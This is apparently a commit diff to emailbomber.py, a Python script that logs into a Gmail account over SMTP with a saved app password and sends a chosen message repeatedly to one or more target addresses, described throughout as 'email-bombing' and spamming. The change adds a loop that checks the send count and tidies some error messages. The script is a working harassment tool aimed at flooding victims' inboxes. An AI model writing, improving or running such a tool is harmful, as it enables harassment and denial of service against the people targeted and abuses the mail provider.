Validity checking of count integer

Author: Blastguy

emailbomber.py

@@ -11,23 +11,34 @@
 else: #Otherwise, reads saved user credentials.
     sender = open("User_Credentials/sender.txt", "rt").read() #Reads saved user gmail.
     app_password = open("User_Credentials/app_password.txt", "rt").read() #Reads saved user app password.
+
 print("If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)") #Tells user how to email-bomb more than one email.
 receiver = input("Specify the email(s) you would like to email-bomb -> ") #Enter the email(s) that you would like to email-bomb.
 message = input("Enter your email-bomber message -> ") #The message that the email user(s) will receive.
-try:
-    count = int(input("Enter a number for the amount of emails to be sent -> ")) #The amount of emails to be sent to the receiver(s).
-except ValueError:
-    print("Please enter a number for the amount of emails to be sent.")
-    input("Press enter to exit.")
-    quit()
+
+# Loop until valid count value is given
+while(True):
+    try:
+        count = int(input("Enter a number for the amount of emails to be sent -> ")) #The amount of emails to be sent to the receiver(s).
+    except ValueError:
+        print("Please enter an integer for the amount of emails to be sent.")
+    except KeyboardInterrupt:
+        print("Goodbye!")
+        quit()
+    
+    if count <= 0:
+        print("Count must be positive. Received", count)
+        continue
+    break
+
 #Server
 server = smtplib.SMTP("smtp.gmail.com",587) #Initializes SMTP server.
 server.starttls() #Start SMTP server.
 
 try: #Attempts to log in to user's gmail account.
     server.login(user= sender, password= app_password) #Logins to user's account.
 except smtplib.SMTPAuthenticationError as error: #Incorrect credentials inputted by user.
-    print("\nError:\nMake sure the Gmail address that you inputted is the same as the gmail account you have created an app password for.\nDouble check your Gmail and app password.")
+    print("\nError: Make sure the Gmail address that you inputted is the same as the Gmail account you have created an app password for.\nAlso, double-check your Gmail and app password.")
     print(f"{error}")
     input("Enter to exit...")
     quit() #Quits program.
@@ -40,7 +51,7 @@
         open("User_Credentials/app_password.txt", "xt").write(app_password) #Creates and saves user's Gmail app password to User_Credentials folder.
         input("\nYour credentials have been saved, so you do not have to repeat this process.\nTo change your credentials, go to User_Credentials and change your file information.\nPress enter to continue...")
 except OSError: #Operating system error.
-    print("\nError:\nThere was an error saving your credentials.")
+    print("\nError: There was an error saving your credentials.")
 
 print("\nEmail-bomber has started...\n")
 
@@ -51,9 +62,9 @@
             server.sendmail(from_addr= sender, to_addrs=email_receiver, msg=message) #Sends email to receiver.
             print("Email sent successfully!")
         except smtplib.SMTPException as error:
-            print(f"Error:\n{error}")
+            print(f"Error: {error}")
             continue
 
 
-input("\nEmail-bomber was successful...\nEnter to exit...") #Email-bomber finished.
+input("\nEmail-bomber was successful...\nPress enter to exit...") #Email-bomber finished.
 server.close() #Closes server.